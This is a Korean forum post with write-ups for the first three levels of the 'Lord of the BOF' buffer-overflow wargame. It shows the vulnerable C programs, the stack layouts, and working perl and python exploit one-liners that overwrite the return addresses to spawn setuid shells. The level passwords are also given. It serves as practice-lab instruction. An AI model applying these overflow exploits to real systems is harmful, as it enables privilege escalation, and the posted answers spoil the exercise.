|
http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship&no=11 [복사]
CodeAche
Lord Of the BOF
-Over The Gate-
/* 1. gcc 2.91 구 스택구조
2. \xff가 계속 00으로 들어가서
일반 setuid포함 egg쉘코드소스에 마지막
system("/bin/bash")를 bash2로 수정 후 실행
*/
[GATE]
---------gremlin.c----------
int main(int argc, char *argv[])
{
char buffer[256];
if(argc<2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
----------------------------
buffer sfp ret
256 4 4
attack-> 260byte + shell_address
----------------------------
[gate@localhost gate]$ ./gremlin `perl -e 'print "x"x260,"\x58\xfb\xff\xbf"'`
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
PASS : hackers proof
[Cobolt]
---------cobolt.c----------
int main(int argc, char *argv[])
{
char buffer[16];
if(argc<2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
----------------------------
buffer[16] sfp ret
16 4 4
attack-> 16byte+4+shell_address
----------------------------
[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "x"x20,"\x48\xfb\xff\xbf"'`
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
PASS : hacking exposed
[Goblin]
----------goblin.c---------
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
--------------------------
cobolt와 완전히 같은 문제임.
단지 인자로 받느냐 gets로 받느냐 차이.
고로
[cobolt@localhost cobolt]$ (python -c 'print "x"*20+"\x48\xfb\xff\xbf"';cat)|./goblin
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
PASS : hackers proof
-------------------------------------------------------------------------------------------
버퍼
//gate -> gremlin
mkdir buffer
cd buffer
vi egg.c
eggshell 소스 입력하고
gcc egg.c -o egg
./egg
cd ..
./gremlin $RET
my-pass
gremlin pass : hello bof world
//gremlin -> cobolt
mkdir buffer
cd buffer
vi egg.c
eggshell 소스 입력하고
gcc egg.c -o egg
./egg
cd ..
./cobolt $RET
my-pass
//gremlin -> goblin
bash2
vi egg.c
eggshell 소스 입력하고 ( 맨뒷부분 system("/bin/bash"); 를 system("/bin/bash2"); 로 수정
gcc egg.c -o egg
./egg
( printf $RET;cat)|./goblin
id
my-pass
이게 제가 풀었던 방법입니다.
기억이 가물가물 ㅋㅋ 스펠링 틀린것은 이해해 주시리라 믿으면서 ..
-------------------------------------------------------------------------------------------
영빈
-- gremlin --
buf : ebp-256
egg : bffffd18
../gremlin `python -c 'print "A"*260 + "\x18\xfd\xff\xbf"'`
hello bof world
-- cobolt --
buf : ebp-16
egg : bffffcf8
../cobolt `python -c 'print "A"*20 + "\xf8\xfc\xff\xbf"'`
hacking exposed
-- goblin --
buf : ebp-16
egg : bffffd08
(python -c 'print "A"*20 + "\x08\xfd\xff\xbf"';cat) | ../goblin
hackers proof
이렇게 풀었습니다~
이번에 setuid 가 걸린 binary 는 권한 때문에 디버깅 못하는 지 처음 알았네요...
|
Hit : 4070 Date : 2010/02/26 07:18
|
218, 
1/11 
멍멍
CodeAche
